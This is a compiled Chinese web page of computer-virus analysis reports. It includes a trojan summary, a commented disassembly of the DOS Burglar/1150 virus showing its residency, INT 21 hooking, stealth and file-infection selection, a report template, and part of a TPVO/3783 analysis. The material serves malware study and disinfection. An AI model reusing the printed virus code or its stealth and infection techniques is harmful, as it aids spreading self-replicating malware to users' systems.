小燕病毒分析报告病毒防治

时间:2023-08-28 08:56:30 其他范文 收藏本文 下载本文

小燕病毒分析报告病毒防治(通用19篇)由网友“开心快乐每一天”投稿提供,以下是小编为大家整理后的小燕病毒分析报告病毒防治,欢迎阅读与收藏。

小燕病毒分析报告病毒防治

篇1:小燕病毒分析报告病毒防治

一、综述:

1、病毒标签:trojanspy.win32.qqtail.f

病毒名称: 小燕病毒

病毒类型: 蠕虫

危害等级: 高

文件长度: 解压前: 14,336 字节,解压后 : 34,304 字节

感染系统: windows所有版本(win3.x除外)

编写语言: borland c++ builder 6.0

加壳类型: upx

2、说明:

该病毒是利用 ms04025漏洞的传播的邮件蠕虫,窃取用户网上银行信息,首先邮件内是一个mht文件,文件内容分为三段、一段显示内置的jpg照片,一段解码,最后一段是exe执行体,在没有打补丁的系统上运行后,会释放出来4个文件 help.htm help.js test.exe test.txt 通过,释放出来的4文件会在.exe执行后被删除。test.exe为c++语言编写, borland c++ 编译 .运行条件中需要borlndmm.dll、cc3260mt.dll、rtl60.dll、stlpmt45.dll 、rtl60.bpl.等文件,

但因运行库问题,这个文件在大多数系统上是无法正常运行的。即使文件齐全,它修改的clipsrv服务也无法正常启动。在一定程度上降低了病毒传播的速度。

二、代码分析

1. 关闭 clipsrv 服务, clipsrv 是“剪贴簿查看器”储存信息并与远程计算机共享。

2. 拷贝自身到系统目录下 .

3. 替换 clipsrv 服务,设置其指向自身文件: c1ipsrv.exe, 以字母 l 和数字 1 混淆逃避检测

4: 提升自身权限

5: 采用远程线程注入方式,使查杀困难。

6: 病毒体那存在发送邮件的定义字符串,但没有相关发送邮件函数 . 另外关于网络的函数也只有接口还没有相关代码。推测,这个病毒还没有完成。

关 键 字:病毒防治

篇2:Burglar病毒的分析和防治

病毒介绍:

Burglar 病毒,因病毒中有字符串 Grave,又称 Grave 病毒,病毒长度为 1150 字节, 所以有的地方又称它为 1150 病毒,它感染DOS的 .EXE 文件,不感染 Windows 的可执行文件 当病毒在内存中的时候,UMB 将无法找到,在运行 Windows 95 时经常引起死机,

病毒分析:

1. 病毒的引入部分

9F6A:0000 E95A03 JMP 035D

9F6A:0003 90 41 54 20 54-48 45 20 47 52 41 56 45 .AT THE GRAVE

9F6A:0010 20 4F 46 20 47 52 41 4E-44 4D 41 2E 2E 2E OF GRANDMA...

;由于在病毒中能见到字符串 At the grave of grandma

;所以此病毒又称 Grave 病毒

...

9F6A:035D 90 NOP

9F6A:035E 90 NOP

9F6A:035F BE0600 MOV SI,0000

===> ;本数据 0000 由传染时设置

9F6A:0362 8BFEMOV DI,SI

;解密原文件头

9F6A:0364 E88600 CALL 03ED

;病毒在保存原文件头信息时先加密

9F6A:0367 56 PUSH SI

;所以在使用时要先解密

; MOV AX,F078 再执行 INT 21H 是病毒用于检测自己是否驻留内存的标志

;可以以此来判断内存中有无病毒

9F6A:0368 B430MOV AH,30

9F6A:036A 80C448 ADD AH,48

9F6A:036D B0F0MOV AL,F0

9F6A:036F 86E0XCHG AH,AL

9F6A:0371 CD21INT 21 ;驻留检测

9F6A:0373 0BC0OR AX,AX ;已驻留转 03C8

9F6A:0375 7451JZ 03C8

9F6A:0377 BF7777 MOV DI,7777

9F6A:037A 90 NOP

9F6A:037B 4F DEC DI

9F6A:037C 90 NOP

9F6A:037D 90 NOP

9F6A:037E 75FAJNZ 037A

9F6A:0380 1E PUSH DS ;程序 PSP 段地址 - 1 为内存控制块

9F6A:0381 8CC3MOV BX,ES

9F6A:0383 4B DEC BX

9F6A:0384 8EDBMOV DS,BX ;MCB 地址

9F6A:0386 BB0200 MOV BX,0002 ;是否最后一块 MCB

9F6A:0389 807FFE5A CMP Byte Ptr [BX-02],5A ;不驻留

9F6A:038D 7536JNZ 03C5

9F6A:038F B95600 MOV CX,0056 ;截取 0560H 字节内存

9F6A:0392 294F01 SUB [BX+01],CX ;将此块内存减少 0560H 字节

9F6A:0395 294F10 SUB [BX+10],CX

9F6A:0398 8E4710 MOV ES,[BX+10]

;由于病毒将最后一块内存控制块打断,造成系统常规内存跟 UMB 分离,

;结果当病毒驻留内存时,用 MEM 或 MI 将看不到 UMB,这也可以用来

;判断内存中是否有病毒

9F6A:039B 33C0XOR AX,AX

9F6A:039D 8ED8MOV DS,AX

9F6A:039F C5878200 LDS AX,[BX+0082]

9F6A:03A3 2E8984A700 MOV CS:[SI+00A7],AX ;截取 INT 21

9F6A:03A8 2E8C9CA900 MOV CS:[SI+00A9],DS

9F6A:03AD 0E PUSH CS

9F6A:03AE 1F POP DS

9F6A:03AF 33FFXOR DI,DI

9F6A:03B1 B93505 MOV CX,0535 ;驻留内存

9F6A:03B4 FC CLD

9F6A:03B5 F3 REPZ

9F6A:03B6 A4 MOVSB

9F6A:03B7 8ED9MOV DS,CX

9F6A:03B9 FA CLI

9F6A:03BA 8C878400 MOV [BX+0084],ES ;设置新 INT 21 到 CS:0058

9F6A:03BE C7878800 MOV Word Ptr [BX+0082],0058

9F6A:03C4 FB STI

9F6A:03C5 07 POP ES

9F6A:03C6 06 PUSH ES

9F6A:03C7 1F POP DS

9F6A:03C8 90 NOP

9F6A:03C9 5E POP SI

9F6A:03CA 90 NOP

9F6A:03CB 8CC3MOV BX,ES ;重定位 CS:IP 及 SS:SP

9F6A:03CD 83C310 ADD BX,+10

9F6A:03D0 2E019C0B04 ADD CS:[SI+040B],BX

9F6A:03D5 2E019C0304 ADD CS:[SI+0403],BX

9F6A:03DA 2E8E940304 MOV SS,CS:[SI+0403]

9F6A:03DF 2E8BA40504 MOV SP,CS:[SI+0405]

9F6A:03E4 33C0XOR AX,AX

9F6A:03E6 33DBXOR BX,BX ;执行原程序

9F6A:03E8 2EFFAC0904 JMP FAR CS:[SI+0409]

;=======================================================

;加解密原文件头

;病毒加密源文件头的方法是按字将文件头 000A * 2 字节跟 7776 异或

;这也是解毒时解密原文件头的办法

9F6A:03ED 50 PUSH AX

9F6A:03EE 81C70304 ADD DI,0403

9F6A:03F2 B90A00 MOV CX,000A

9F6A:03F5 B87677 MOV AX,7776

9F6A:03F8 90 NOP

9F6A:03F9 2E3105 XOR CS:[DI],AX

9F6A:03FC 47 INC DI

9F6A:03FD 90 NOP

9F6A:03FE E2F9LOOP 03F9

9F6A:0400 58 POP AX

9F6A:0401 C3 RET

2. 病毒的传播部分

;============================================================

;新的 INT 21 之 11,12 功能

;这两个 DOS 功能常用于 DIR 命令

;病毒在送回目录项之前先将染毒文件长度减去 1150 字节

;结果用 DIR 命令看不到染毒文件长度的增加

9F6A:001E 2EFF1EA700 CALL FAR CS:[00A7] ;调用原 DOS 功能

9F6A:0023 9C PUSHF

9F6A:0024 3CFFCMP AL,FF ;失败转 0054 退出

9F6A:0026 742CJZ 0054

9F6A:0028 90 NOP

9F6A:0029 50 PUSH AX

9F6A:002A 56 PUSH SI

9F6A:002B 1E PUSH DS

9F6A:002C 2E8B362F05 MOV SI,CS:[052F] ;取 DTA 地址

9F6A:0031 2E8E1E3105 MOV DS,CS:[0531]

9F6A:0036 803CFF CMP Byte Ptr [SI],FF

9F6A:0039 7503JNZ 003E ;是否扩展 FCB

9F6A:003B 83C607 ADD SI,+07 ;是, 转 0054

9F6A:003E 8A4417 MOV AL,[SI+17] ;传染标志

9F6A:0041 241DAND AL,1D

9F6A:0043 3C1DCMP AL,1D

9F6A:0045 750AJNZ 0051

9F6A:0047 90 NOP

9F6A:0048 816C1D7E04 SUB Word Ptr [SI+1D],047E

9F6A:004D 835C1F00 SBB Word Ptr [SI+1F],+00

9F6A:0051 1F POP DS ;如果传染

9F6A:0052 5E POP SI ;文件长 - 1150 字节

9F6A:0053 58 POP AX

9F6A:0054 9D POPF

9F6A:0055 CA0200 RETF 0002 ;INT 21 返回

;=====================================================

; 新的 INT 21 中断入口

;=====================================================

9F6A:0058 2EC606330500 MOV Byte Ptr CS:[0533],00

9F6A:005E 9C PUSHF

9F6A:005F 3D78F0 CMP AX,F078 ;驻留检测

9F6A:0062 90 NOP ;入口 AX = F078

9F6A:0063 7506JNZ 006B ;返回 AX = 0000

9F6A:0065 33C0XOR AX,AX

9F6A:0067 9D POPF

9F6A:0068 CF IRET

9F6A:0069 90 NOP

9F6A:006A 90 NOP

9F6A:006B 90 NOP

9F6A:006C 80FC11 CMP AH,11 ;11,12 功能 (DIR)

9F6A:006F 74ADJZ 001E ;转 001E

9F6A:0071 80FC12 CMP AH,12

9F6A:0074 74A8JZ 001E

9F6A:0076 80FC3D CMP AH,3D ;打开文件

9F6A:0079 7442JZ 00BD

9F6A:007B 80FC43 CMP AH,43 ;取/改文件属性

9F6A:007E 743DJZ 00BD

9F6A:0080 80FC13 CMP AH,13 ;使用 FCB 删除文件

9F6A:0083 7432JZ 00B7

9F6A:0085 80FC36 CMP AH,36 ;取磁盘剩余空间

9F6A:0088 742DJZ 00B7

9F6A:008A 80FC4B CMP AH,4B ;执行文件

9F6A:008D 90 NOP;13/36 功能在磁盘上

9F6A:008E 90 NOP ;寻找一个文件传染

9F6A:008F 742CJZ 00BD ;3D/43/4B/6C 功能直接传染

9F6A:0091 80FC6C CMP AH,6C

9F6A:0094 7427JZ 00BD

9F6A:0096 80FC1A CMP AH,1A

9F6A:0099 750AJNZ 00A5 ;设置 DTA 地址

9F6A:009B 2E89162F05 MOV CS:[052F],DX ;则保存 DTA 地址于 052F

9F6A:00A0 2E8C1E3105 MOV CS:[0531],DS

9F6A:00A5 9D POPF

9F6A:00A6 EAF8401100 JMP 0011:40F8 ;其它则转原 INT 21

9F6A:00AB 90 NOP

9F6A:00AC 90 NOP

;从以上代码可以看出,病毒在打开文件,执行文件,提交文件,修改文件属性

;取磁盘空间等功能都要进行传染,而这些功能在一个普通文件的执行过程中

;几乎百分百的被用到,造成病毒的传播很快

;==========================================================

9F6A:00AD 86E0XCHG AH,AL ;病毒调用 INT 21

9F6A:00AF 90 NOP

9F6A:00B0 9C PUSHF

9F6A:00B1 2EFF1EA700 CALL FAR CS:[00A7]

9F6A:00B6 C3 RET

9F6A:00B7 2EC6067E0401 MOV Byte Ptr CS:[047E],01 ;设置 DIR 传染标志

;========================================================

9F6A:00BD 90 NOP

9F6A:00BE 50 PUSH AX

9F6A:00BF 53 PUSH BX

9F6A:00C0 51 PUSH CX

9F6A:00C1 52 PUSH DX

9F6A:00C2 1E PUSH DS

9F6A:00C3 06 PUSH ES

9F6A:00C4 56 PUSH SI

9F6A:00C5 57 PUSH DI

9F6A:00C6 80FC6C CMP AH,6C ;6C 功能文件名入口 DS:SI

9F6A:00C9 7502JNZ 00CD ;更改到 DS:DX

9F6A:00CB 8BD6MOV DX,SI

9F6A:00CD 2E803E7E0401 CMP Byte Ptr CS:[047E],01

9F6A:00D3 7406JZ 00DB ;如果在 DIR 中传染,转 00DB

9F6A:00D5 E87900 CALL 0151 ;传染文件

9F6A:00D8 EB5CJMP 0136

9F6A:00DA 90 NOP

;====================================================

9F6A:00DB 0E PUSH CS

9F6A:00DC 1F POP DS

9F6A:00DD C606340500 MOV Byte Ptr [0534],00

9F6A:00E2 B02FMOV AL,2F ;取 DTA 地址

9F6A:00E4 E8C6FF CALL 00AD

9F6A:00E7 06 PUSH ES

9F6A:00E8 53 PUSH BX

9F6A:00E9 B01AMOV AL,1A ;设置新 DTA 到 04E5

9F6A:00EB BAE504 MOV DX,04E5

9F6A:00EE E8BCFF CALL 00AD

9F6A:00F1 B04EMOV AL,4E ;寻找文件 *.*

9F6A:00F3 B92700 MOV CX,0027

9F6A:00F6 BA2704 MOV DX,0427

9F6A:00F9 E8B1FF CALL 00AD

9F6A:00FC 7230JB 012E

9F6A:00FE A0FB04 MOV AL,[04FB] ;找到的文件

9F6A:0101 241DAND AL,1D ;是否已传染

9F6A:0103 3C1DCMP AL,1D

9F6A:0105 7423JZ 012A ;已传染找下一文件

9F6A:0107 833E010500 CMP Word Ptr [0501],+00

9F6A:010C 7508JNZ 0116

9F6A:010E 813EFF04E803 CMP Word Ptr [04FF],03E8

9F6A:0114 7214JB 012A ;文件 < 03E8 找下一文件

9F6A:0116 C70625050305 MOV Word Ptr [0525],0503

9F6A:011C BA0305 MOV DX,0503 ;0525 为文件名指针

9F6A:011F E82F00 CALL 0151 ;传染文件

9F6A:0122 2E803E340503 CMP Byte Ptr CS:[0534],03

9F6A:0128 7404JZ 012E ;0534 为传染是否成功

9F6A:012A B04FMOV AL,4F ;如果成功退出

9F6A:012C EBCBJMP 00F9 ;否则找下一文件

9F6A:012E 5A POP DX

9F6A:012F 1F POP DS

9F6A:0130 9C PUSHF

9F6A:0131 B41AMOV AH,1A ;恢复原 DTA 地址

9F6A:0133 CD21INT 21

9F6A:0135 9D POPF

9F6A:0136 5F POP DI

9F6A:0137 5E POP SI

9F6A:0138 07 POP ES

9F6A:0139 1F POP DS

9F6A:013A 5A POP DX

9F6A:013B 59 POP CX

9F6A:013C 5B POP BX

9F6A:013D 58 POP AX

9F6A:013E 2EC6067E0400 MOV Byte Ptr CS:[047E],00 ;清 DIR 传染标志

9F6A:0144 2E803E330501 CMP Byte Ptr CS:[0533],01 ;????

9F6A:014A 7502JNZ 014E

9F6A:014C 33DBXOR BX,BX

9F6A:014E E954FF JMP 00A5

;==================================================================

;传染文件子程序

9F6A:0151 8BF2MOV SI,DX

9F6A:0153 2E89162505 MOV CS:[0525],DX

9F6A:0158 90 NOP ;此循环为寻找

9F6A:0159 AC LODSB ;全路径文件名中

9F6A:015A 0AC0OR AL,AL ;文件名的起始地址 =>0525

9F6A:015C 740FJZ 016D

9F6A:015E 3C5CCMP AL,5C ;'\'

9F6A:0160 7404JZ 0166

9F6A:0162 3C3ACMP AL,3A ;':'

9F6A:0164 75F3JNZ 0159

9F6A:0166 2E89362505 MOV CS:[0525],SI ;0525 为文件名开始指针

9F6A:016B EBECJMP 0159

9F6A:016D 80FC4B CMP AH,4B ;执行文件转 0182

9F6A:0170 90 NOP ;

9F6A:0171 740FJZ 0182 ;

9F6A:0173 817CFB2E45 CMP Word Ptr [SI-05],452E ; “E.”

9F6A:0178 7507JNZ 0181

9F6A:017A 817CFD5845 CMP Word Ptr [SI-03],4558 ; “EX”

9F6A:017F 7401JZ 0182 ;扩展名是 .EXE 转传染

9F6A:0181 C3 RET

9F6A:0182 0E PUSH CS ;判断是否传染文件

9F6A:0183 07 POP ES

9F6A:0184 2E8B362505 MOV SI,CS:[0525]

9F6A:0189 BF0E04 MOV DI,040E

9F6A:018C AD LODSW

9F6A:018D B90700 MOV CX,0007 ;文件名开始为

9F6A:0190 F2 REPNZ;LC,WH,BT,-F,CW,KT

9F6A:0191 AF SCASW ;的文件不传染

9F6A:0192 7417JZ 01AB

9F6A:0194 2E8B362505 MOV SI,CS:[0525]

9F6A:0199 AC LODSB

9F6A:019A 3C00CMP AL,00

9F6A:019C 740AJZ 01A8

9F6A:019E 3C56CMP AL,56 ;文件名中包括

9F6A:01A0 7409JZ 01AB ;V 和 S 字母的不传染

9F6A:01A2 3C53CMP AL,53

9F6A:01A4 7405JZ 01AB

9F6A:01A6 EBF1JMP 0199

9F6A:01A8 E80100 CALL 01AC ;传染其它文件名的文件

9F6A:01AB C3 RET

;======================================================================

; 开始传染可执行文件

;======================================================================

9F6A:01AC 8CDBMOV BX,DS ;设置新 INT 24

9F6A:01AE 33C0XOR AX,AX ;到 CS:042B

9F6A:01B0 8ED8MOV DS,AX

9F6A:01B2 FF369000 PUSH [0090]

9F6A:01B6 FF369200 PUSH [0092]

9F6A:01BA C70690002B04 MOV Word Ptr [0090],042B

9F6A:01C0 8C0E9200 MOV [0092],CS

9F6A:01C4 8EDBMOV DS,BX

9F6A:01C6 B84300 MOV AX,0043 ;取文件属性

9F6A:01C9 E8E1FE CALL 00AD

9F6A:01CC 1E PUSH DS

9F6A:01CD 52 PUSH DX

9F6A:01CE 51 PUSH CX

9F6A:01CF 33C9XOR CX,CX ;设置文件属性

9F6A:01D1 B84301 MOV AX,0143 ;为可读写

9F6A:01D4 E8D6FE CALL 00AD

9F6A:01D7 7308JNB 01E1

9F6A:01D9 2EFE063405 INC Byte Ptr CS:[0534]

9F6A:01DE EB65JMP 0245

9F6A:01E0 90 NOP

9F6A:01E1 B83D02 MOV AX,023D ;打开文件

9F6A:01E4 E8C6FE CALL 00AD

9F6A:01E7 7309JNB 01F2

9F6A:01E9 2EFE063405 INC Byte Ptr CS:[0534]

9F6A:01EE EB55JMP 0245

9F6A:01F0 90 NOP

9F6A:01F1 90 NOP

9F6A:01F2 93 XCHG AX,BX

9F6A:01F3 B85700 MOV AX,0057 ;取文件时间

9F6A:01F6 E8B4FE CALL 00AD

9F6A:01F9 2E890E2905 MOV CS:[0529],CX

9F6A:01FE 52 PUSH DX

9F6A:01FF 90 NOP

9F6A:0200 0E PUSH CS

9F6A:0201 1F POP DS

9F6A:0202 0E PUSH CS

9F6A:0203 07 POP ES

9F6A:0204 B03FMOV AL,3F ;读文件头 66H 字节

9F6A:0206 BA7F04 MOV DX,047F ;到 047F

9F6A:0209 B96600 MOV CX,0066

9F6A:020C E89EFE CALL 00AD

9F6A:020F A17F04 MOV AX,[047F]

9F6A:0212 90 NOP

9F6A:0213 3D5A4D CMP AX,4D5A ;.EXE 文件转 0222

9F6A:0216 90 NOP

9F6A:0217 7409JZ 0222

9F6A:0219 3D4D5A CMP AX,5A4D

9F6A:021C 90 NOP

9F6A:021D 7403JZ 0222

9F6A:021F EB14JMP 0235 ;非 .EXE 文件不传染

9F6A:0221 90 NOP

;===================================================================

;传染 .EXE 文件

9F6A:0222 A09304 MOV AL,[0493] ;.EXE 文件传染标志

9F6A:0225 3478XOR AL,78 ;文件头中 IP xor CRC = 78

9F6A:0227 38069104 CMP [0491],AL

9F6A:022B 7408JZ 0235 ;未传染转 025D

9F6A:022D EB2EJMP 025D

9F6A:022F 90 NOP ;传染成功设置传染标志

9F6A:0230 830E29051D OR Word Ptr [0529],+1D ;时间设置为 1D

9F6A:0235 5A POP DX

9F6A:0236 8B0E2905 MOV CX,[0529]

9F6A:023A B85701 MOV AX,0157 ;恢复文件时间

9F6A:023D E86DFE CALL 00AD

9F6A:0240 B03EMOV AL,3E ;关闭文件

9F6A:0242 E868FE CALL 00AD

9F6A:0245 B84301 MOV AX,0143 ;恢复文件属性

9F6A:0248 59 POP CX

9F6A:0249 5A POP DX

9F6A:024A 1F POP DS

9F6A:024B E85FFE CALL 00AD

9F6A:024E 33C0XOR AX,AX ;恢复原 INT 24

9F6A:0250 8ED8MOV DS,AX

9F6A:0252 8F069200 POP [0092]

9F6A:0256 8F069000 POP [0090]

9F6A:025A 0E PUSH CS

9F6A:025B 1F POP DS

9F6A:025C C3 RET

;======================================================================

;开始传染 .EXE 文件

9F6A:025D BE7F04 MOV SI,047F ;SI 指向文件头

9F6A:0260 90 NOP

9F6A:0261 C70627050000 MOV Word Ptr [0527],0000

9F6A:0267 8B543C MOV DX,[SI+3C] ;取 NE 文件头偏移

9F6A:026A 8B4C3E MOV CX,[SI+3E]

9F6A:026D B80042 MOV AX,4200

9F6A:0270 CD21INT 21

9F6A:0272 B90200 MOV CX,0002 ;读出 NE 文件头 2 字节

9F6A:0275 BA2705 MOV DX,0527

9F6A:0278 B43FMOV AH,3F

9F6A:027A CD21INT 21

9F6A:027C 813E27054E45 CMP Word Ptr [0527],454E

9F6A:0282 7502JNZ 0286 ;是 “NE” 新格式文件

9F6A:0284 EBAFJMP 0235 ;不传染

9F6A:0286 B002MOV AL,02 ;4202 功能

9F6A:0288 E8C900 CALL 0354 ;取文件长度

9F6A:028B 83FA06 CMP DX,+06 ;>393216 字节不传染

9F6A:028E 77A5JA 0235

9F6A:0290 0BD2OR DX,DX

9F6A:0292 7507JNZ 029B

9F6A:0294 3D0001 CMP AX,0100 ;< 256 字节不传染

9F6A:0297 7702JA 029B

9F6A:0299 EB9AJMP 0235

9F6A:029B 52 PUSH DX

9F6A:029C 50 PUSH AX

9F6A:029D 8B4404 MOV AX,[SI+04]

9F6A:02A0 8B7C02 MOV DI,[SI+02]

9F6A:02A3 0BFFOR DI,DI

9F6A:02A5 7401JZ 02A8

9F6A:02A7 48 DEC AX

9F6A:02A8 B90002 MOV CX,0200

9F6A:02AB F7E1MUL CX

9F6A:02AD 03C7ADD AX,DI

9F6A:02AF 83D200 ADC DX,+00

9F6A:02B2 5F POP DI

9F6A:02B3 3BF8CMP DI,AX ;如果文件有覆盖部分

9F6A:02B5 5F POP DI ;不传染

9F6A:02B6 75E1JNZ 0299

9F6A:02B8 3BFACMP DI,DX

9F6A:02BA 75DDJNZ 0299

...

;以下病毒具体传染文件的代码不是本文讨论的对象,故略去

...

;在传染完成后,病毒转发作部分,此病毒的发作是非恶性的

9F6A:0329 B42CMOV AH,2C ;取系统时间

9F6A:032B CD21INT 21

9F6A:032D 80F90E CMP CL,0E ;分钟数为 14 则发作

9F6A:0330 751FJNZ 0351

9F6A:0332 BE1E04 MOV SI,041E ;在屏幕左上角

9F6A:0335 B800B8 MOV AX,B800 ;打印 Burglar 字样

9F6A:0338 8ED8MOV DS,AX

9F6A:033A 33FFXOR DI,DI

9F6A:033C B90900 MOV CX,0009

9F6A:033F 2E8A04 MOV AL,CS:[SI]

9F6A:0342 46 INC SI

9F6A:0343 8805MOV [DI],AL

9F6A:0345 47 INC DI ;属性为加亮闪烁

9F6A:0346 C6058F MOV Byte Ptr [DI],8F

9F6A:0349 47 INC DI

9F6A:034A E2F3LOOP 033F

9F6A:034C B97777 MOV CX,7777 ;延时

9F6A:034F E2FELOOP 034F

9F6A:0351 E9DCFE JMP 0230

;===================================================================

;移动文件指针子程序

9F6A:0354 33C9XOR CX,CX

9F6A:0356 33D2XOR DX,DX

9F6A:0358 B442MOV AH,42

9F6A:035A CD21INT 21

9F6A:035C C3 RET

9F6A:0402 90 BC 06 81 01 9C-88 01 01 01 01 E7 43 4C

.<.........gCL

9F6A:0410 48 57 54 42 46 2D 57 43-54 4B 00 00 00 00 42 75

HWTBF-WCTK....Bu

9F6A:0420 72 67 6C 61 72 2F 48 2A-2E 2A 00 32 C0 CF 00 00

rglar/H*.*.2@O..

9F6A:0430 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

................

9F6A:0440 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

................

9F6A:0450 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

................

9F6A:0460 00 00 00 00 78 F0 00 00-19 04 0C 00 00 00 BC 15

....xp........<.

9F6A:0470 BC 15 06 70 A3 10 78 03-8A 17 65 0F 05 00 00

9F6A:047F

4D <..p#.x...e....M

9F6A:0480 5A C4 01 28 00 00 00 02-00 3D 0B FF

FF B2 04 84 ZD.(.....=...2..

9F6A:0490 04 7E 89 06 00 B2 04 1C-00 00 00 64 69

65 74 F9 .~...2.....diety

9F6A:04A0 9C EB 09 69 42 0A 00 A8-B8 55 F8 9C 06

1E 57 56 .k.iB..(8Ux...WV

9F6A:04B0 52 51 53 50 0E FC 8C C8-BA 52 07 03 D0

52 BA 79 RQSP.|.H:R..PR:y

9F6A:04C0 06 52 BA BC 04 03 C2 8B-D8 05 0E 03 8E

DB 8E C0 .R:<..B.X....[.@

9F6A:04D0 33 F6 33 FF B9 08 00 F3-A5 4B 48 4A 79

EE 8E C3 3v3.9..s%KHJyn.C

9F6A:04E0 8E D8 BE 67 00.X>g.

9F6A:04E5 01 3F 3F-3F 3F 3F 3F 3F 3F 3F 3F

.??????????

9F6A:04F0 3F 27 0D 00 00 00 12 E0-1E 00 20 FA 99 27 21 67

?'.....`.. z.'!g

9F6A:0500 59 00 00 56 49 52 2E 4C-53 54 00 45 00 00 00 00

Y..VIR.LST.E....

9F6A:0510 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

................

9F6A:0520 00 00 00 00 00 38 05 00-00 7D 97 00 00 00 00 80

.....8...}......

9F6A:0530 00 6F 18 00 03 00 00 00-00 00 00 00 00 00 00 00

.o..............

9F6A:0540 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

................

杀毒要点:

由于病毒加密原文件头,在解毒时要先将原文件头解密,具体杀毒的步骤见

我提供的以下源程序:

kv.asm 我编写的一个全盘搜索的程序 k_1150.asm 杀 1150 病毒的子模块 k_monkey.asm 杀 Monkey 病毒的子模块 k_3783.asm 杀 3783 病毒的子模块 scanf.asm 公用输入模块 printf.asm 公用输出模块

篇3:病毒定义病毒防治

病毒定义

计算机病毒是一个程序,一段可执行码,就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:

一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序,

还有的定义是一种人为制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一组程序或指令集合。

关 键 字:病毒防治

篇4:病毒分析报告病毒防范

以前做病毒分析时整理的一个比较简单的报告模板,仅参考:

#

# by:∮明天去要饭

# yaofan.me

#

+——————————————————–+

+ 样本个数: x 个 +

+ 提交日期: 200X-XX-XX +

+ 样本提交: XXX +

+——————————————————–+

1. 目录

+ 文件夹

├ xxx1.exe <—– xxx1的说明

├ xxx2.exe <—– xxx2的说明

2. 详细内容

+——————————————————–+

+ 样本编号: 2.1 +

+ 样本名称: xxx.exe +

+ 样本大小: xxx 字节 +

+ 样本MD5 : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +

+——————————————————–+

1. 进程

创建(隐藏)进程:

%SYSTEMROOT%\system32\xxx.exe user

2. 文件行为

释放如下文件:

%SYSTEMROOT%\system32\xxxadd1.exe

%SYSTEMROOT%\system32\xxxadd2.exe

删除如下文件:

%SYSTEMROOT%\system32\xxxdel1.exe

%SYSTEMROOT%\system32\xxxdel2.exe

感染如下文件:

%SYSTEMROOT%\system32\xxxappend1.exe

%SYSTEMROOT%\system32\xxxappend2.exe

3. 网络行为

3.1 解析域名

www.xxx.com —–>xxx.xxx.xxx.xxx

3.2 数据交互

访问如下链接:

www.xxx.com/xxx.exe

4. 启动方式

4.1 系统服务

显示名称: xxx

服 务 名: xxx

服务描述: xxx

文件路径: %SYSTEMROOT%\system32\xxx.exe

启动类型: 自动

4.2 注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

下添加如下项/键:

项/键名: xxx

路径: %SYSTEMROOT%\system32\xxxadd1.exe

5. 自我保护

5.1 注入到xxx进程

5.2 自动关闭xxx杀毒软件或防火墙

6. 总结

该样本是/不是恶意软件.

篇5:Tpvo/3783病毒的分析和防治

病毒介绍:

TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染 WINDOWS 文件,使病毒可以在 WINDOWS 执行时驻留内存, 该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节, 文件日期被 加上 100 年作为传染标记。

该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H 读出的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也都是正常的, 但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX 七个程序读出的文件却是带毒的,所以被这些压缩程序压进文件包或用 TELIX 通过调制解调器传到其他地方的文件 是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。

该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。 当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性,用 DIR 命令可以列出。

病毒分析:

1. 驻留内存及截取中断 该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引导区的传染, 在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办法得到相应子 程序的地址,然后用近调用来执行相应子程序,具体见下:

...

FDC8:4198 8ADC MOV BL,AH;AH 为子功能号

FDC8:419A D1E3 SHL BX,1;放于 BX 中再乘 2

...

FDC8:41EA 2E8B9F9E3E MOV BX,CS:[BX+3E9E]

;3E9E 为各功能地址表的基地址

FDC8:41EF 36871EEA05 XCHG BX,SS:[05EA] ;调用地址在 05EA 中

FDC8:41F4 368E1EEC05 MOV DS,SS:[05EC]

FDC8:41F9 36FF16EA05 CALL SS:[05EA] ;调用相应功能的子程序...

